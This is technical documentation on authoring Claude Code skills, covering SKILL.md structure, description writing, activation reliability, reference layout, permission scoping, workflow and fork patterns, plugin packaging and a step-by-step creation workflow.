Skill Engineering

Skill Engineering

Skills are prompt templates that extend Claude with domain expertise. A skill lives in skill-name/SKILL.md with an optional references/ directory for deepening material. SKILL.md must be behaviorally self-sufficient — an agent reading only SKILL.md, without loading any references, must be able to do the job correctly. References provide depth, not breadth. Description triggers activation; instructions shape behavior. Claude sees only name and description at startup, then loads full SKILL.md content when triggered.

<prerequisite> Skills are prompts. Before writing or improving a skill, invoke prompt-engineering to load instruction design techniques.

Skill(ai-helpers:prompt-engineering)

Skip only for trivial edits (typos, formatting).

</prerequisite>

Route to Reference

• SKILL.md format, frontmatter rules, directory layout — [${CLAUDE_SKILL_DIR}/references/spec.md] All frontmatter

fields (open standard + Claude Code extensions), name rules, string substitutions, progressive disclosure mechanics (1%/8K budget, 250-char cap), discovery/precedence, instruction budget, SDK behavior differences

• Creating a skill from scratch — [${CLAUDE_SKILL_DIR}/references/creation.md] Step-by-step creation workflow,

scope sizing, description writing formula with examples, evaluation-driven development, archetype deep dives with structural patterns, pre-delivery checklist

• Evaluating skill quality (review, audit) — [${CLAUDE_SKILL_DIR}/references/evaluation.md] Scoring rubric (5

dimensions × 20pts), activation rate benchmarks, trigger keyword density, testing protocol, common issues by score range

• Skill not triggering, wrong output, refinement — [${CLAUDE_SKILL_DIR}/references/iteration.md] Activation

reliability research (20%→100%), commitment mechanisms, description optimization tiers, output fixes, restructuring and splitting guidance

• Multi-file skills, scripts, subagents, hooks — [${CLAUDE_SKILL_DIR}/references/advanced-patterns.md] Fork

pattern, workflow skills, composable skills, dynamic context injection, permission scoping, plugin packaging, Agent SDK integration, agent teams, skill-scoped hooks, model/effort overrides

• Debugging activation failures, script errors — [${CLAUDE_SKILL_DIR}/references/troubleshooting.md] Diagnostic

steps for structure, activation, output, script, reference, token budget, and plugin cache issues. YAML multiline bug documentation.

• Writing persuasive instructions, reasoning — [${CLAUDE_SKILL_DIR}/references/prompt-techniques.md] Instruction

budget research, prompt interference detection (Arbiter), CoT trade-offs in persistent context, instruction strengthening escalation, format control, debugging instruction failures

• Skill security — authoring and vetting — [${CLAUDE_SKILL_DIR}/references/security.md] Vulnerability taxonomy

(26.1% of skills affected), consent gap, enterprise vetting checklist, secure authoring rules, red flags quick reference

Read the relevant reference before proceeding.

Description Formula

The description determines when Claude activates your skill — the highest-leverage field; poor descriptions cause missed activations.

[What it does] + [When to invoke — broad domain claim with trigger examples]

• What it does — functional description of the skill's purpose. State what the skill covers concretely, not a slogan

or tagline.

• When to invoke — "Invoke whenever task involves any interaction with X." Claims the domain broadly, then lists

specific triggers as examples under the broad claim.

Good — functional description + broad claim:

description: >-
  Go language conventions, idioms, and toolchain. Invoke when task
  involves any interaction with Go code — writing, reviewing,
  refactoring, debugging, or understanding Go projects.

Bad — vague, no trigger surface:

description: Helps with documents

Principles

• Lead with function, not slogans. The first sentence must describe what the skill covers concretely. Slogans waste

description tokens on zero activation value.

• Claim broadly, then list specifics. "Invoke whenever task involves any interaction with X — creating, editing,

debugging" beats "Invoke when creating, editing, or debugging X."

• Aggressive triggering, graceful de-escalation. Better to trigger and de-escalate inside the skill than to miss

activations. Native activation is unreliable (20-50% without enforcement hooks). Design skills to be useful when loaded, not to depend on perfect auto-activation.

• Skill dependencies belong in SKILL.md body, not descriptions. Prerequisites like "load prompt-engineering first"

are handled by the skill body — putting them in descriptions wastes trigger space.

• Philosophy belongs in SKILL.md body. Guiding principles shape behavior inside the skill — not in the description

where they have zero activation value.

Activation Reliability

Native skill activation is unreliable. Measured rates across 250+ sandboxed evaluations:

• No hook / simple instruction hook: ~20-50% activation
• LLM pre-eval hook (API pre-screening): ~80% (can fail on multi-skill prompts)
• Forced-eval hook (explicit YES/NO per skill): ~84-100% (most consistent, zero false positives)
• Manual /skill-name invocation: 100%

The forced-eval hook works via a commitment mechanism: Claude must evaluate each skill, state YES/NO with reason, then follow through. Simple passive suggestions are ignored. Description optimization alone cannot break the ~50% systemic ceiling — hooks are the path to consistent activation.

Description optimization tiers, hook implementation details: see [${CLAUDE_SKILL_DIR}/references/iteration.md].

Content Architecture

SKILL.md must be behaviorally self-sufficient. An agent reading only SKILL.md — without loading any references — must be able to do the job correctly. References provide depth, not breadth.

What Goes Where

• Behavioral rules → SKILL.md body — agent must follow these during work; can't afford a missed reference read
• Catalog/lookup content → references/ — agent reads on-demand for specific lookups
• Situational content → references/ — only needed in specific phases
• Voluminous structural content → references/ — too large to inline, inherently lookup-oriented

If an agent skipping a reference would produce wrong output, that content is behavioral and belongs in SKILL.md.

Working-Resolution / High-Resolution

When a reference contains both rules and depth, use a two-resolution split:

• SKILL.md — working-resolution: the thesis, core rules, summary that enables correct behavior
• references/ — high-resolution: detailed rubrics, extended examples, full catalogs, edge case coverage

The agent works correctly at working resolution. References let it zoom in.

Structured Data Formats

Format choice affects LLM accuracy by up to 16pp on identical content. Apply these rules when creating or reviewing any skill content:

Use KV lists for independent-entry data — route tables, tool references, scoring rubrics, configuration mappings, hook events, permission modes, model aliases. Each entry stands alone; no cross-row scanning is needed.

Use markdown tables only for genuinely 2D comparisons where cross-criteria scanning IS the point — decision matrices, feature comparisons across two or more alternatives.

Use numbered lists only for sequential steps where order matters — "1. Read input → 2. Validate → 3. Output."

Use bullet lists for rules, directives, and conventions with no ordering — if items can be reordered without changing meaning, use bullets.

The table test: if removing a column would lose comparative meaning → table. Otherwise → KV list.

Audit format choices when creating or reviewing a skill. Converting misused tables to KV lists is a mechanical improvement with measurable accuracy gain (+8.8pp on lookup tasks).

<example name="table-to-kv-conversion">

Before (wrong — independent entries in a table):

| Hook Event    | When It Fires          |
|---------------|------------------------|
| PreToolUse    | Before each tool call  |
| PostToolUse   | After each tool call   |
| UserPromptSubmit | On user message     |

After (correct — KV list for independent entries):

- **PreToolUse** — fires before each tool call
- **PostToolUse** — fires after each tool call
- **UserPromptSubmit** — fires on user message submission

</example>

<example name="legitimate-table">

Correct — genuine 2D comparison (removing either column loses meaning):

| Frontmatter                      | User invoke | Claude invoke |
| :------------------------------- | :---------- | :------------ |
| (default)                        | Yes         | Yes           |
| `disable-model-invocation: true` | Yes         | No            |
| `user-invocable: false`          | No          | Yes           |

</example>

Full format benchmarks and selection rules: see [${CLAUDE_SKILL_DIR}/references/spec.md] and the prompt-engineering skill's structured-data-formats reference.

Route-to-Reference Lists

When a skill has references, include a route list describing what depth each reference provides. Use $\{CLAUDE_SKILL_DIR\} for all reference paths — it resolves to the skill's absolute directory at load time.

Each entry names the topic, provides the path, and describes the contents — enabling informed read decisions. Without content descriptions, agents either over-read (wasting context) or skip (missing depth).

Writing Instructions

Skills are prompts. Apply prompt engineering fundamentals.

Degrees of Freedom

Match instruction specificity to task fragility:

• High freedom — multiple approaches are valid, decisions depend on context
• Medium freedom — a preferred pattern exists but some variation is acceptable
• Low freedom — operations are fragile, consistency is critical, exact sequence required

Declarative vs Procedural

• Declarative (bullet-list rules, constraints) — for behavioral boundaries, conventions, safety guardrails. Models

use factual constraints more reliably across varied inputs. Use for the majority of skill content.

• Procedural (numbered steps) — for tasks with strict ordering. Cap at ~10-15 steps; decompose beyond that into

sub-procedures (Hierarchical Task Networks).

Default to declarative. Research shows declarative knowledge provides greater performance benefits than procedural in the majority of tasks.

Instruction Placement

Models follow a U-shaped attention curve: instructions at the beginning and end are followed most reliably; middle content suffers from attention decay.

• Top 20% (primacy zone): Identity, philosophy, critical constraints
• Middle: Detailed rules by topic, route list, examples
• Bottom 20% (recency zone): Reinforced critical rules, quality checks

Dual-placement strategy: For rules that absolutely must be followed, state them near the top AND reinforce at the end. Use different phrasing — frame as a principle at the top, as a checklist item at the bottom.

Every Instruction Must Earn Its Place

Research shows unnecessary requirements reduce task success even when the model can follow them. Every instruction competes for attention. Before adding a rule, verify the model's default behavior is insufficient — if deleting the rule doesn't change output quality, remove it.

State Rules as Positive Directives

State rules as positive directives in the body section where they're contextually relevant: "Use pipeline() for stream composition" — not "Don't use .pipe()" in a separate anti-pattern table. Keep an anti-pattern table only when the "don't" side is genuinely non-obvious from the positive rule.

Instruction strengthening patterns, interference detection, CoT trade-offs: see [${CLAUDE_SKILL_DIR}/references/prompt-techniques.md].

Skill Dependencies

A skill often relies on another. How you express the dependency depends on whether the output is _wrong_ or merely _less sharp_ without it.

• Hard dependency — skipping the other skill produces wrong output. Emit an explicit pointer in the body: a

<prerequisite> block (invoke prompt-engineering before drafting) or a load-bearing step. The reader must act on it.

• Soft dependency — the other skill only sharpens output; the skill still works without it. Name it in prose (a

Related Skills bullet) with no invoke pointer.

Putting an explicit "run X first" pointer on a soft dependency is cargo-culting — it spends attention and tokens where nothing is load-bearing, and trains readers to ignore the pointer when it does matter. Reserve the explicit pointer for the hard case.

Skill Archetypes

Workflow Skill

Sequential phases with clear inputs/outputs and checkpoints. SKILL.md contains the complete workflow; references provide detailed rubrics, templates, or extended checklists. Use disable-model-invocation: true for skills with side effects.

Knowledge Skill

Complete specification for a tool, format, or API. Everything inline — the agent needs the full spec to do the work. References are rare; when present, they hold example collections. Knowledge skills often exceed 500 lines — acceptable when all content is behavioral.

Coding Discipline Skill

Conventions and rules for a language, framework, or platform. Key patterns: philosophy bookends, declarative rules as bullet lists (8-17 rules typical), Application section (writing mode vs reviewing mode), Integration section (relationship to other skills, precedence rules).

Extended structural patterns for all archetypes: see [${CLAUDE_SKILL_DIR}/references/creation.md].

Quick Templates

Simple skill (no references):

---
name: my-skill
description: >-
  [What it does]. Invoke whenever task involves any interaction
  with [domain] — [specific triggers].
---

# My Skill

## Instructions

[Clear, imperative steps or declarative rules]

## Examples

**Input:** [request]
**Output:** [expected result]

Skill with references:

---
name: my-skill
description: >-
  [What it does]. Invoke whenever task involves any interaction
  with [domain] — [specific triggers].
---

# My Skill

[Philosophy or purpose statement]

## References

- **[topic]** — `$\{CLAUDE_SKILL_DIR\}/references/[file].md`
  [type of depth: tables, examples, patterns]

## [Topic Sections]

[Working-resolution rules — complete behavioral spec]

[Pointers to references for extended examples, lookup tables]

Security

Skills execute with system-prompt authority — Claude treats SKILL.md as trusted instructions. Research shows 26.1% of skills in the wild contain vulnerabilities (14 patterns across prompt injection, data exfiltration, privilege escalation, and supply chain categories).

When authoring skills:

• Never embed secrets in SKILL.md, references, or scripts
• Set allowed-tools to the minimum required — don't claim Bash if Read suffices
• Sanitize user-supplied content before interpolating into generated prompts or commands
• Pin all dependencies with exact version constraints
• Prefer instruction-only skills over script-bundled when possible (scripts are 2.12× more likely to contain

vulnerabilities)

When vetting third-party skills: read all content including scripts, verify behavior in sandbox, check for adversarial instructions and exfiltration patterns.

Full vulnerability taxonomy and enterprise vetting checklist: see [${CLAUDE_SKILL_DIR}/references/security.md].

Critical Rules

• Deletion test before adding. Every rule competes for attention. Before adding a rule to a skill, verify the

model's default behavior is insufficient. If removing the rule doesn't change output quality, it shouldn't exist.

• References must not duplicate SKILL.md. References provide genuinely different depth: detailed rubrics, extended

examples, full catalogs, comparison tables, edge case coverage. Not restated rules.

• Description is activation, not documentation. Every token in the description must increase activation probability.

Slogans, philosophy, cross-skill dependencies, and filler verbs have zero activation value.

• Declarative by default. Use numbered steps only for workflows with strict ordering. Bullet-list rules for

everything else.

• One skill, one purpose. If scope creeps, split. Broad skills produce mediocre results because instructions compete

for attention.

• Check for interference. New rules can conflict with existing harness directives or other loaded skills. Test in

fresh context; the executing model smooths over contradictions silently (Observer's Paradox).

Quick Checks

Before deploying:

• [ ] Description leads with what the skill does (not a slogan)
• [ ] Description claims domain broadly ("whenever task involves")
• [ ] Description lists specific trigger keywords as examples
• [ ] SKILL.md is behaviorally self-sufficient — no critical rules only in references
• [ ] References contain only deepening material (examples, catalogs, how-tos)
• [ ] Route-to-Reference list describes each reference's contents (if references exist)
• [ ] KV lists for lookups/routes, tables only for genuinely 2D comparisons
• [ ] Degrees of freedom matched to task fragility (high/medium/low)
• [ ] Declarative style for constraints/conventions, procedural only for ordered workflows
• [ ] Instructions use imperative voice
• [ ] Instructions structured (XML tags, numbered steps/rules)
• [ ] At least one input/output example (few-shot) for generative skills
• [ ] Critical rules in top 20% and/or bottom 20% (not only in middle)
• [ ] Every instruction earns its place (deletion test: removing it changes output)
• [ ] Dependencies expressed by tier — hard = explicit pointer (<prerequisite>), soft = prose mention only
• [ ] No secrets in SKILL.md, references, or scripts
• [ ] Under 500 lines (exceeding is acceptable when all content is behavioral)
• [ ] Name matches directory (lowercase, hyphens)

Related Skills

• prompt-engineering — load first for instruction design techniques (skills are prompts)
• subagent-engineering — skills and subagents complement each other; skills run inline, subagents run in isolation
• output-style-engineering — output styles replace the system prompt; skills extend it
• claude-code-sdk — consult for SKILL.md frontmatter fields, plugin layout, and invocation control details

Advanced Skill Patterns

Reference for multi-file skills, fork pattern, workflow skills, composable skills, verifiable intermediate outputs, permission scoping, plugin packaging, Agent SDK integration, and agent teams.

---

Multi-File Skills

A skill directory can contain any number of supporting files alongside SKILL.md. Use this when the main skill body would exceed ~500 lines, or when reference material is only needed for specific sub-tasks.

Canonical layout:

my-skill/
├── SKILL.md          # Required — overview, routing, and behavioral rules
├── reference.md      # Detailed API or domain docs
├── examples.md       # Sample outputs showing expected format
└── scripts/
    └── helper.py     # Script Claude can execute via Bash

Rules for supporting files:

• SKILL.md must stay self-sufficient — all behavioral rules go here, not in supporting files
• Supporting files hold catalog/lookup content loaded on demand for specific sub-tasks
• Reference each supporting file from SKILL.md with an explicit description so Claude knows what it contains and when

to load it

• Never split behavioral constraints across files — agents skip files they haven't been explicitly directed to read

Referencing supporting files in `SKILL.md`:

## Additional resources

- For complete API field reference, see [reference.md](reference.md)
- For format examples, see [examples.md](examples.md)

Use ${CLAUDE_SKILL_DIR} to build absolute paths that survive regardless of working directory:

See [reference.md](${CLAUDE_SKILL_DIR}/reference.md) for the full field list.

---

Dynamic Context Injection

The ` !<command> ` syntax executes a shell command before the skill content reaches Claude. The command's stdout replaces the placeholder — Claude receives the rendered output, not the command itself.

---
name: pr-summary
description: Summarize changes in a pull request
context: fork
agent: Explore
allowed-tools: Bash(gh *)
---

## Pull request context
- Diff: !`gh pr diff`
- Comments: !`gh pr view --comments`
- Changed files: !`gh pr diff --name-only`

## Task
Summarize the intent, risk, and missing test coverage.

Execution order: All ` !... ` substitutions run as preprocessing — before Claude sees anything.

Multi-line variant — use a fenced block opened with `! :

````markdown

Environment

```! node --version git status --short cat package.json | jq '.dependencies | keys'

When to use dynamic injection:

• Live data that changes between invocations (PR diffs, git status, CI output)
• Environment fingerprinting (versions, flags, installed tools)
• Seeding context that would otherwise require Claude to run discovery commands

When not to use it: Static content that belongs in SKILL.md directly; large outputs that would blow the context budget before Claude even starts.

To disable shell execution for user/project/plugin skills cluster-wide, set "disableSkillShellExecution": true in settings. Bundled and managed skills are unaffected.

---

Fork Pattern (context: fork)

context: fork runs the skill in an isolated subagent context. The skill body becomes the subagent's prompt. It has no access to your conversation history.

---
name: deep-research
description: Research a topic thoroughly without polluting main context
context: fork
agent: Explore
---

Research $ARGUMENTS thoroughly:

1. Find relevant files using Glob and Grep
2. Read and analyze the code
3. Summarize findings with specific file references

`agent` field — specifies which subagent configuration to use:

• Explore — read-only tools, optimized for codebase exploration
• Plan — analysis without code changes
• general-purpose — full tool access (default when agent is omitted)
• Any custom subagent from .claude/agents/ by name

When fork is required:

• The skill reads many files (context isolation prevents main conversation bloat)
• The task is self-contained with no need for conversation history
• You want subagent-level tool scoping independent of the main session

Fork vs inline — decision rule:

Warning: context: fork only makes sense for skills with explicit tasks. A skill containing guidelines ("use these conventions") without an actionable task will produce no meaningful output in a forked context.

---

Workflow Skills

Workflow skills encode multi-phase processes with explicit checkpoints. They are almost always user-invoked (disable-model-invocation: true) because they have side effects or require deliberate timing.

---
name: release
description: Cut a release and publish
disable-model-invocation: true
context: fork
allowed-tools: Bash(git *) Bash(npm *) Bash(gh *)
---

Cut a release for version $ARGUMENTS.

## Phase 1 — Verification
1. Run `npm test` — abort if any test fails
2. Run `npm run lint` — abort if any error (warnings ok)
3. Confirm CHANGELOG has an entry for $ARGUMENTS

## Checkpoint
Report pass/fail for each check above. Stop here if any failed.

## Phase 2 — Release
4. Bump version in package.json to $ARGUMENTS
5. Commit: `git commit -am "chore: release $ARGUMENTS"`
6. Tag: `git tag v$ARGUMENTS`
7. Push: `git push && git push --tags`
8. Publish: `npm publish`

## Phase 3 — Post-release
9. Create GitHub release: `gh release create v$ARGUMENTS --generate-notes`
10. Report the release URL

Structural rules for workflow skills:

• Name phases explicitly — "Phase 1", "Phase 2" etc.
• Place a checkpoint block between phases that have irreversible actions
• Each phase has a clear input state and output state
• Abort conditions are explicit — "abort if X" not "consider aborting"
• context: fork keeps side effects isolated from the main conversation

---

Verifiable Intermediate Outputs

Workflow skills with external side effects must verify each phase before proceeding. The pattern: run the action, then run a verification command, then report the result before moving to the next phase.

## Phase 1 — Build
1. Run `npm run build`
2. Verify: `ls dist/` — confirm output files exist
3. Report: list the generated files

## Checkpoint
Stop if build output is missing or empty.

## Phase 2 — Deploy
...

Verification strategies by action type:

• File writes → ls or cat the output
• Database changes → SELECT the affected rows
• API calls → check the response code and key fields
• Git operations → git log --oneline -3 or git status
• Test runs → parse exit code AND scan for "failed" in output

Verifiable intermediate outputs prevent the failure mode where Claude reports success but the actual effect silently failed.

---

Composable Skills (Skills Invoking Skills)

Skills can invoke other skills using /skill-name in their instructions, composing workflows from focused building blocks.

---
name: fix-and-ship
description: Fix a GitHub issue and ship it
disable-model-invocation: true
---

Fix issue $ARGUMENTS and ship it:

1. /fix-issue $ARGUMENTS
2. After the fix is confirmed, /commit
3. After commit, /create-pr

When composability adds value:

• Each sub-skill is independently useful and already well-tested
• The composition is a specific workflow, not just a concatenation of prompts
• The sub-skills have stable interfaces (their $ARGUMENTS contracts are clear)

Anti-patterns:

• Chaining skills that are too tightly coupled (better as a single workflow skill)
• Invoking skills purely to avoid writing instructions inline (adds indirection without gain)
• Assuming a sub-skill's output format in the parent (fragile coupling)

---

Permission Scoping (allowed-tools)

allowed-tools grants pre-approval for specific tools while the skill is active. It does not restrict access — it only removes the per-use approval prompt for listed tools.

Syntax:

# Space-separated string
allowed-tools: Read Grep Glob Bash(git *)

# YAML list
allowed-tools:
  - Read
  - Bash(npm run test)
  - Bash(gh pr *)

Scoping patterns:

• Bash — approves all Bash commands (use only in tightly controlled skills)
• Bash(git *) — approves any git subcommand
• Bash(npm run test) — approves exactly this command, nothing else
• Read Grep Glob — approves read-only exploration tools

`allowed-tools` in CLI vs SDK:

• CLI: allowed-tools frontmatter is fully enforced per-skill
• SDK: allowed-tools frontmatter is ignored; control tool access via allowedTools in SDK query options instead

Permission rules for controlling which skills Claude can invoke:

# Allow only specific skills (in /permissions deny rules)
Skill(commit)
Skill(review-pr *)

# Deny all skills
Skill

Syntax: Skill(name) for exact match, Skill(name *) for prefix match with any arguments.

---

Invocation Control

Two frontmatter fields control who can invoke a skill:

• disable-model-invocation: true — only the user can invoke (via /skill-name); description removed from context
• user-invocable: false — only Claude can invoke; hidden from the / menu

Decision rule:

• Has side effects or requires deliberate timing → disable-model-invocation: true
• Background knowledge users shouldn't invoke directly → user-invocable: false
• Default — both user and Claude can invoke

user-invocable only controls menu visibility, not Skill tool access. To block programmatic invocation, use disable-model-invocation: true.

---

Skill-Scoped Hooks

The hooks frontmatter field attaches lifecycle hooks scoped to a specific skill — they activate only when the skill runs, not for the entire session.

---
name: edit-and-lint
description: Edit files with automatic lint on every save
hooks:
  PostToolUse:
    - matcher: Edit
      hooks:
        - type: command
          command: npm run lint --silent
---

Edit the requested files. Lint runs automatically after each edit.

Common hook patterns for skills:

• PostToolUse on Edit — run formatters or linters after every file change
• PostToolUse on Bash — log or validate command output
• PreToolUse on Bash — gate commands against a policy check

Skill-scoped hooks are more precise than session-level hooks in settings.json — they activate only for the duration of the skill's work, reducing unintended side effects on unrelated tasks.

---

Plugin Packaging

Plugins bundle skills, hooks, subagents, and MCP servers into a single installable unit.

Plugin skill layout:

my-plugin/
├── .claude-plugin/
│   └── plugin.json       # Plugin metadata and version
├── skills/
│   └── my-skill/
│       └── SKILL.md
├── agents/
│   └── my-agent.md
├── hooks/
│   └── post-edit.sh
└── LICENSE

Plugin skill namespace: Plugin skills load under the plugin-name:skill-name namespace, preventing conflicts with project and personal skills of the same name.

Skill locations — precedence (highest to lowest):

• Enterprise (managed settings)
• Personal (~/.claude/skills/)
• Project (.claude/skills/)
• Plugin (<plugin>/skills/)

When skills share the same name across levels, higher-priority location wins. Plugin namespace prevents cross-level conflicts.

Distributing skills at different scopes:

• Team → commit .claude/skills/ to version control
• Plugin → create a skills/ directory in your plugin, publish to marketplace
• Organization → deploy via managed settings (~/.claude/managed-settings.json)

---

Agent SDK Integration

When using skills programmatically via the Claude Agent SDK, the filesystem-based model still applies — skills cannot be registered programmatically.

Minimum configuration to enable skills in the SDK:

# Python
options = ClaudeAgentOptions(
    cwd="/path/to/project",          # Must contain .claude/skills/
    setting_sources=["user", "project"],  # Required — skills not loaded by default
    allowed_tools=["Skill", "Read", "Bash"],
)

// TypeScript
const options = {
  cwd: "/path/to/project",
  settingSources: ["user", "project"],  // Required — skills not loaded by default
  allowedTools: ["Skill", "Read", "Bash"],
};

Critical: `setting_sources` / `settingSources` is required. Without it, skills are never loaded even if "Skill" is in allowed_tools. This is the most common SDK integration failure.

Skill locations loaded by source:

• "project" → .claude/skills/ relative to cwd
• "user" → ~/.claude/skills/
• Plugin skills are loaded automatically if the plugin is installed

Tool access in SDK — `allowed-tools` frontmatter is ignored. Control tool access through allowedTools in query options. Combine with permissionMode: "dontAsk" to deny anything not in the list:

const options = {
  settingSources: ["user", "project"],
  allowedTools: ["Skill", "Read", "Grep", "Glob"],
  permissionMode: "dontAsk",  // Deny tools not in allowedTools
};

---

Agent Teams

Skills can coordinate multiple agents via team workflows. This pattern is used for parallelizable work, quality checks, or specialized role separation.

Team pattern — skill-as-orchestrator:

---
name: parallel-review
description: Run parallel code review across multiple dimensions
context: fork
disable-model-invocation: true
---

Orchestrate a multi-agent code review of $ARGUMENTS:

1. Create a team with TeamCreate
2. Create specialized review tasks with TaskCreate:
   - Security review: injection, auth, secrets exposure
   - Performance review: N+1 queries, unnecessary allocations
   - Test coverage: missing edge cases, brittle assertions
3. Spawn agents with team_name so they join as teammates
4. Wait for all tasks to complete
5. Aggregate findings and produce a final report

When team coordination belongs in a skill:

• Workflow is well-defined and repeatable (same phases each time)
• The user wants /parallel-review as a direct command
• Orchestration logic is domain-specific and should be versioned with the codebase

When team coordination belongs in ad-hoc prompts: One-off investigations, exploratory work, or workflows that vary significantly each time — these don't benefit from the overhead of packaging.

Team workflow constraints:

• Always use TeamCreate → TaskCreate → spawn with team_name (never standalone subagents for user-requested

parallel work)

• Standalone subagents pollute the caller's context; teammates communicate via SendMessage summaries
• Tasks shared via task list; agents claim, update, and complete them

---

Skill Content Lifecycle

Understanding how skill content persists through a session prevents common confusion:

• At invocation — rendered SKILL.md content enters the conversation as a single message
• After invocation — content stays for the rest of the session; Claude Code does not re-read the skill file
• At compaction — the most recent invocation of each skill is re-attached after summary (up to 5,000 tokens per

skill, 25,000 token shared budget); older skills can be dropped if the budget is exceeded

• Re-invocation — re-invoke a skill after compaction to restore full content if it was dropped

If a skill stops influencing behavior mid-session, it was likely dropped during compaction. Re-invoke it, or strengthen description and instructions so the model maintains alignment without repeated prompting.

---

Effort and Model Override

Per-skill model and effort overrides let high-stakes skills use a stronger model without changing the session default:

---
name: architecture-review
description: Deep architectural analysis of a proposed design
model: opus
effort: max
context: fork
---

Analyze the architectural implications of $ARGUMENTS...

Effort levels: low, medium, high, max (Opus 4.6 only). Overrides session effort level for this skill's execution.

Model field: Accepts any model identifier. The skill runs with this model regardless of session model.

Use model/effort overrides sparingly — they increase cost. Reserve for skills where output quality directly affects correctness (security reviews, design decisions, migration planning).

Creating Skills — Extended Depth

Step-by-step creation workflow with scope sizing, evaluation-driven development, and archetype deep dives. SKILL.md contains the description formula, content architecture rules, instruction design, and archetype structures — this reference provides the sequential workflow for applying them.

Contents

• Creation Workflow
• Scope Sizing
• Description Writing
• Evaluation-Driven Development
• Archetype Deep Dives
• Pre-Delivery Checklist
• Common Creation Mistakes

---

Creation Workflow

Step 1: Identify the Pattern

Before writing anything, identify what you're encoding.

Good skill candidates:

• Workflows you repeatedly explain: coding conventions, document generation, data analysis methodology
• Domain knowledge Claude lacks: team-specific schemas, internal APIs, proprietary formats
• Consistency requirements: output format, quality gates, validation rules

Poor skill candidates:

• One-off tasks — just prompt directly
• Highly variable tasks — can't standardize effectively
• Tasks needing real-time data — use MCP instead

Discovery method: Complete the task once with normal prompting. Notice what context you repeatedly provide. That repeated context is the skill candidate.

Step 2: Size the Scope

See Scope Sizing. The rule: focused enough to be specific, broad enough to be useful.

Step 3: Write the Description

See Description Writing. Test by asking: "If Claude sees this alongside 20 other descriptions, will it activate for the right requests and not for wrong ones?"

Step 4: Choose the Archetype

Match to Workflow, Knowledge, or Coding Discipline (see SKILL.md). This determines structure, reference strategy, and instruction style. See Archetype Deep Dives for structural patterns.

Step 5: Set Degrees of Freedom

Decide instruction specificity per SKILL.md guidance. The more fragile or error-prone the operation, the lower the freedom.

• High freedom — multiple valid approaches, context-dependent decisions, heuristic guidance
• Medium freedom — preferred pattern exists, some variation acceptable
• Low freedom — exact sequence required, variation is a bug

Step 6: Write SKILL.md

Apply Writing Instructions rules from SKILL.md body. Key decisions:

• Declarative vs procedural for each section
• What goes in SKILL.md vs references
• Where to place critical rules (primacy/recency zones)
• Whether a TOC is needed (files over 100 lines: yes)

Step 7: Write References (if needed)

References must provide genuinely different depth from SKILL.md — detailed rubrics, extended examples, full catalogs, edge case coverage. Never restate rules already in SKILL.md. Keep references one level deep; nested references may only be partially read via head -100.

Step 8: Test with Evaluation-Driven Development

See Evaluation-Driven Development and [${CLAUDE_SKILL_DIR}/references/evaluation.md].

---

Scope Sizing

Too Broad

Skill: Full-Stack Development
- Handles frontend, backend, databases, deployment, testing...

Produces mediocre results across all areas. Instructions are too vague to be actionable.

Indicators:

• More than 3 unrelated topic sections
• Instructions use "as appropriate" or "depending on context"
• Output quality varies significantly by input type

Fix: Split into focused skills.

Too Narrow

Skill: Button Component Generator
- Only creates button components

Not reusable enough to justify skill overhead. A prompt template would work.

Indicators:

• Triggered less than once per week
• Could be a one-line instruction
• Covers a single variation of a broader task

Fix: Generalize or absorb into a broader skill.

Right Scope

Skill: React Component Generator
- Creates TypeScript React components following team conventions
- Generates corresponding test files
- Enforces accessibility and typing standards

The litmus test: Can you describe what the skill does in one sentence without using "and" more than once? If not, it's probably too broad.

---

Description Writing

The description is the only field Claude sees before deciding whether to load a skill. It must carry enough signal to route correctly across 100+ available skills.

Formula: [Capability summary]. Use when [specific trigger conditions]. [Negative triggers if needed].

Effective examples:

• PDF Processing:

Extract text and tables from PDF files, fill forms, merge documents. Use when working with PDF files or when the user mentions PDFs, forms, or document extraction.

• Excel Analysis:

Analyze Excel spreadsheets, create pivot tables, generate charts. Use when analyzing Excel files, spreadsheets, tabular data, or .xlsx files.

• Git Commit Helper:

Generate descriptive commit messages by analyzing git diffs. Use when the user asks for help writing commit messages or reviewing staged changes.

Rules:

• Be specific — include domain terms, tool names, file types
• State when to use AND when not to use (negative triggers prevent false activations)
• Third-person imperative: "Extracts text..." not "I extract..." or "You should extract..."
• Max 1024 characters; aim for 200-400 in practice
• Test by generating 3 prompts that should trigger it and 3 that should not

Avoid:

• description: Helps with documents — no specificity
• description: Processes data — no domain terms, no trigger conditions
• Generic keywords without context

---

Evaluation-Driven Development

Build evaluations before writing extensive content — anchors rules to observed failures, not anticipated ones.

For the full evaluation process, scoring rubrics, and testing protocol, see [${CLAUDE_SKILL_DIR}/references/evaluation.md].

Process

1. Identify gaps — Run Claude on representative tasks without the skill. Document specific failures and missing context. 2. Create evaluations — Build 3+ scenarios that test the identified gaps. 3. Establish baseline — Measure Claude's performance without the skill (score each output). 4. Write minimal instructions — Create just enough content to pass the evaluations. 5. Iterate — Execute evaluations, compare against baseline, refine.

Evaluation Structure

{
  "skills": ["skill-name"],
  "query": "The user request that should trigger this skill",
  "files": ["test-files/fixture.ext"],
  "expected_behavior": [
    "Specific observable behavior 1",
    "Specific observable behavior 2",
    "Specific observable behavior 3"
  ]
}

When to Stop

A skill is done when:

• Triggers correctly for target cases
• Instructions followed consistently
• No recurring quality gaps
• Maintenance burden is low

A 200-line skill that works reliably beats a 500-line skill that's comprehensive but attention-starved.

Testing Breadth

Test with multiple model tiers (Haiku, Sonnet, Opus). Skills that only work with Opus have a fragile description or instructions that are too implicit. Effective skills work across all tiers for their intended use cases.

---

Archetype Deep Dives

SKILL.md defines three archetypes. This section provides extended structural patterns for each.

Workflow Skill

Characteristic pattern: Sequential phases with explicit checkpoints.

Reference strategy: References hold rubrics, validation criteria, or templates for specific phases. SKILL.md contains the complete phase sequence with working-resolution criteria for each.

Checkpoint design rules:

• Each phase produces a named artifact (plan, report, validated output)
• Checkpoints are explicit: "Do not proceed until [condition]"
• Failure at a checkpoint triggers a defined recovery path

Example structure:

## Workflow

### Phase 1: Discover
- Scan project for [target files]
- Build inventory: file path, size, last modified

### Phase 2: Assess
For each item in inventory, evaluate against criteria in `references/rubric.md`.
Produce assessment as:
\`\`\`json
{"file": "...", "score": 0-10, "issues": [...]}
\`\`\`

**Checkpoint:** All items assessed. If any scored < 5, flag for review.

### Phase 3: Report
[Report template inline or reference to template file]

### Phase 4: Fix
Apply fixes for items scoring < 5. Re-assess after fixing.

Checklist pattern — for multi-step workflows, provide a self-tracking checklist:

Copy this checklist and check off items as you complete them:

\`\`\`
- [ ] Step 1: Analyze inputs
- [ ] Step 2: Build plan
- [ ] Step 3: Validate plan
- [ ] Step 4: Execute
- [ ] Step 5: Verify output
